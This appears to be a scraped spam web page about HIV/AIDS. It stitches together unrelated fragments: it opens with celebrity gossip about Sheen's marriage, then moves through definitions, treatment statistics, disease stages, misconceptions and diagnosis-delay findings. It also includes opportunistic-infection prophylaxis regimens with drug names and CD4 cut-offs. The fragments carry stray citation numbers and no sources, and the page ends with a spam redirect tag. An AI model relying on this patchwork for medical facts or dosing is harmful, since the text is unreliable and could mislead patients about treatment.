In 2002, Sheen married Richards. The marriage produced two daughters but was rocky; Richards filed a restraining order against him in 2006 and filed for divorce while pregnant with their second child. Sheen later tried to block the appearance of their children on Richards’ reality show and insulted her in the media, a habit he’s continued to the present day.
(Pathology) acquired immune (or immuno-)deficiency syndrome: a condition, caused by a virus, in which certain white blood cells (lymphocytes) are destroyed, resulting in loss of the body’s ability to protect itself against disease. AIDS is transmitted by sexual intercourse, through infected blood and blood products, and through the placenta
The growth of AIDS in Africa and Asia has raised worries about global political and economic stability. Governments in these ravaged countries have not been able to afford the anti-viral drugs. In 2002 pharmaceutical companies agreed to sell these drugs to these countries as generic drugs, dropping the cost from $12,000 to $300 a year per patient; yet even at these prices many governments would be hard pressed to purchase them.
Sexual intercourse when either partner has a genital herpes infection, syphilis, or another sexually transmitted disease (STD) that can cause sores or tears in the skin or inflammation of the genitals
In mid-2017, 20.9 million people living with HIV were receiving ART globally. In 2016, a global ART coverage of 53% of adults and children living with HIV was reached. However, more efforts are needed to scale up treatment, particularly for children and adolescents. Only 43% of them were receiving ARVs at the end of 2016 and WHO is supporting countries to accelerate their efforts to timely diagnose and treat these vulnerable populations.
During the latent period, the virus continues to multiply actively. It infects and kills critical infection fighting cells, a type of white blood cell called CD4 cells or T helper cells (T cells). Even though the person has no symptoms, he or she is contagious and can pass HIV to others through the routes described above. At the end of this phase, as the virus overwhelms the CD4 cells, the HIV viral load starts to rise, and the CD4 cell count begins to drop. As this happens, the person may begin to have symptoms as the virus levels increase in the body. This is stage 3.
Measures to prevent opportunistic infections are effective in many people with HIV/AIDS. In addition to improving current disease, treatment with antiretrovirals reduces the risk of developing additional opportunistic infections. Adults and adolescents who are living with HIV (even on anti-retroviral therapy) with no evidence of active tuberculosis in settings with high tuberculosis burden should receive isoniazid preventive therapy (IPT), the tuberculin skin test can be used to help decide if IPT is needed. Vaccination against hepatitis A and B is advised for all people at risk of HIV before they become infected; however it may also be given after infection. Trimethoprim/sulfamethoxazole prophylaxis between four and six weeks of age and ceasing breastfeeding in infants born to HIV positive mothers is recommended in resource limited settings. It is also recommended to prevent PCP when a person’s CD4 count is below 200 cells/uL and in those who have or have previously had PCP. People with substantial immunosuppression are also advised to receive prophylactic therapy for toxoplasmosis and MAC. Appropriate preventive measures have reduced the rate of these infections by 50% between 1992 and 1997. Influenza vaccination and pneumococcal polysaccharide vaccine are often recommended in people with HIV/AIDS with some evidence of benefit.
Although malaria is not typically considered an opportunistic infection, its incidence was found to be significantly higher among children in Tanzania that were perinatally infected with HIV than those without HIV infection.  This was true for physician-diagnosed clinical malaria, probable malaria involving laboratory testing for parasitemia as well as malaria that was confirmed by blood smear.

The longer diagnosis delay among non-white racial/ethnic groups might partly reflect the higher proportion of infections attributable to heterosexual contact among these groups compared with whites (14), given that heterosexual persons had longer diagnosis delays. Among all transmission categories, males with infection attributed to heterosexual contact had the longest median diagnosis delay (4.9 years). This observation was consistent with the finding that heterosexual males at increased risk for infection were less likely to report testing in the past 12 months than were heterosexual females at increased risk. Heterosexual men are less likely to visit a health care provider than are both women and MSM, leading to fewer opportunities for testing (15). Moreover, compared with other risk groups, heterosexual persons at increased risk were less likely to have been offered an HIV test even when visiting a health care provider in the past 12 months, possibly because of low perceived risk for infection (15,16). This finding highlights the importance of implementing routine screening in health care settings.
There are many misconceptions about HIV and AIDS. Three of the most common are that AIDS can spread through casual contact, that sexual intercourse with a virgin will cure AIDS, and that HIV can infect only gay men and drug users. In 2014, some among the British public wrongly thought one could get HIV from kissing (16%), sharing a glass (5%), spitting (16%), a public toilet seat (4%), and coughing or sneezing (5%). Other misconceptions are that any act of anal intercourse between two uninfected gay men can lead to HIV infection, and that open discussion of HIV and homosexuality in schools will lead to increased rates of AIDS.

There is a specific decline in the CD4+ helper T cells, resulting in inversion of the normal CD4/CD8 T-cell ratio and dysregulation of B-cell antibody production. [26, 27] Immune responses to certain antigens begin to decline, and the host fails to adequately respond to opportunistic infections and normally harmless commensal organisms. Because the defect preferentially affects cellular immunity, the infections tend to nonbacterial (fungal, viral).
HIV: Acronym for the Human Immunodeficiency Virus, the cause of AIDS (acquired immunodeficiency syndrome). HIV has also been called the human lymphotropic virus type III, the lymphadenopathy-associated virus and the lymphadenopathy virus. No matter what name is applied, it is a retrovirus. (A retrovirus has an RNA genome and a reverse transcriptase enzyme. Using the reverse transcriptase, the virus uses its RNA as a template for making complementary DNA which can integrate into the DNA of the host organism).

In summary, patients with a CD4 cell count of less than 200 cells/mm3 should receive preventative treatment against Pneumocystis jiroveci with trimethoprim/sulfamethoxazole (Bactrim, Septra), given once daily or three times weekly. If they are intolerant to that drug, patients can be treated with an alternative drug such as dapsone or atovaquone (Mepron). Those patients with a CD4 cell count of less than 100 cells/mm3 who also have evidence of past infection with Toxoplasma gondii, which is usually determined by the presence of Toxoplasma antibodies in the blood, should receive trimethoprim/sulfamethoxazole. Toxoplasmosis is an opportunistic parasitic disease that affects the brain and liver. If a person is using dapsone to prevent Pneumocystis jiroveci, pyrimethamine and leucovorin can be added once a week to dapsone to prevent toxoplasmosis. Finally, patients with a CD4 cell count of less than 50 cells/mm3 should receive preventive treatment for Mycobacterium avium complex (MAC) infection with weekly azithromycin (Zithromax), or as an alternative, twice daily clarithromycin (Biaxin) or rifabutin (Mycobutin). MAC is an opportunistic bacterium that causes infection throughout the body. Many of these drugs can be stopped if initial antiviral therapy results in good viral suppression and sustained increases in CD4 cells. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]
